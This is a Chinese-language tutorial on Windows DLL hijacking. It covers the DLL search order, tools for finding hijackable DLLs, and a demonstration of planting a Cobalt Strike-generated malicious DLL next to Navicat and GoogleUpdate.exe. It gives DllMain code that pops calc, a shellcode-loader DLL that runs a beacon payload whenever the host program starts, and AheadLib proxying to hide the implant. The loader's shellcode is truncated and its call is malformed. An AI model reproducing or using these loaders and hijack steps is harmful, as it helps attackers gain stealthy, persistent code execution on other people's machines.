DLL 劫持 DLL 简介
DLL 加载顺序在 windows 中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即 DLL 文件,放置于系统中。当我们执行某一个程序时,相应的 DLL 文件就会被调用。一个应用程序可使用多个 DLL 文件,一个 DLL 文件也可能被不同的应用程序使用,这样的 DLL 文件被称为共享 DLL 文件。
如果程序需要加载一个相对路径的 dll 文件,它将从当前目录下尝试查找,如果找不到,则按照如下顺序寻找:
windows xp sp2 之前
Windows 查找 DLL 的目录以及对应的顺序:
Windows 查找 DLL 的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_macHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为 1
从 Windows7 之后,微软为了更进一步的防御系统的 DLL 被劫持,将一些容易被劫持的系统 DLL 写进了一个注册表项中, 该项下的 DLL 文件就会被禁止从 EXE 自身所在的目录下调用,而只能从系统目录 SYSTEM32 目录下调用,其注册表位置:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs
自动化挖掘 批量寻找劫持
https://Github.com/wietze/windows-dll-hijacking
PLAINTEXT
1 | Python/ target=_blank class=infotextkey>Python generate_pmc_files.py |
https://github.com/knight0x07/ImpulsiveDLLHijack
编译完成后,把 Prerequisites 文件夹里的内容拷贝至 ImpulsiveDLLHijack 项目里
PLAINTEXT
1 | ImpulsiveDLLHijack.exe -path xxx.exe |
这里使用 navicat 进行测试,可见运行的时候会加载 C:UsersdyyAppDataLocalProgramsPythonPython38soci.dll
使用 cs 生成恶意 dll,重命名为 oci.dll 后放置到该目录下
手动挖掘
Process Monitor 查找可用 dll,设置如下图所示
配置完可以保存导出配置,下次直接导入使用
使用 googleUpdate.exe 进行测试,运行程序 filter 加载所使用的 dll 文件
这里可以看出来,当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件
编写一个基础的弹窗 dll
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
#include <Windows.h>
#pragma comment(lib, "user32.lib") BOOL APIENTRY DllMain(HMODULE hModule, Dword ul_reason_for_call, LPVOID lpReserved){ switch(ul_reason_for_call) { caseDLL_PROCESS_ATTACH: //DLL首次被加载到内存时运行 caseDLL_PROCESS_DETACH: //DLL销毁时运行 caseDLL_THREAD_ATTACH: //DLL线程加载时运行 caseDLL_THREAD_DETACH: //DLL线程销毁时运行 break; } returnTRUE; } extern "C"__declspec(dllexport) int DllEntry(DWORD ArgList, int a2){ MessageBox(NULL, "I am DLL !", "DLL", MB_OK); return0; } |
弹计算器
JAVA
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h" #include<stdlib.h> BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch(ul_reason_for_call) { caseDLL_PROCESS_ATTACH: system( "calc"); caseDLL_THREAD_ATTACH: caseDLL_THREAD_DETACH: caseDLL_PROCESS_DETACH: break; } returnTRUE; } |
CS 上线
cs 生成 c 的 payload
生成的 payload 填入到下面相应的位置上
CPP
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
// 头文件
# include"pch.h" # include<Windows.h> //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// HANDLE hThread = NULL; typedefvoid(__stdcall* JMP_SHELLCODE); unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc8"; DWORD WINAPI jmp_shellcode(LPVOID pPara) { LPVOID lpBase = VirtualAlloc( NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(lpBase, shellcode, sizeof(shellcode)); JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase; jmp_shellcode; return0; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 入口函数 BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) { if(dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); hThread = CreateThread( NULL, 0, jmp_shellcode, 0, 0, 0); } elseif(dwReason == DLL_PROCESS_DETACH) { } returnTRUE; } |
运行 navicat 程序就会上线
DLL 转发劫持
有时候当我们替换 dll 后,虽然可以执行命令,但是会产生报错
这时候我们可以使用 AheadLib 工具,使恶意的 DLL 将原有的函数转发到原 DLL 中并且释放恶意代码
打开工具导入 dll 文件,会生成相应的 cpp 文件
直接转发函数,我们只能控制 DllMain 即调用原 DLL 时触发的行为可控
即时调用函数,可以在处理加载 DLL 时,调用具体函数的时候行为可控,高度自定义触发点,也称用来 hook 某些函数,获取到参数值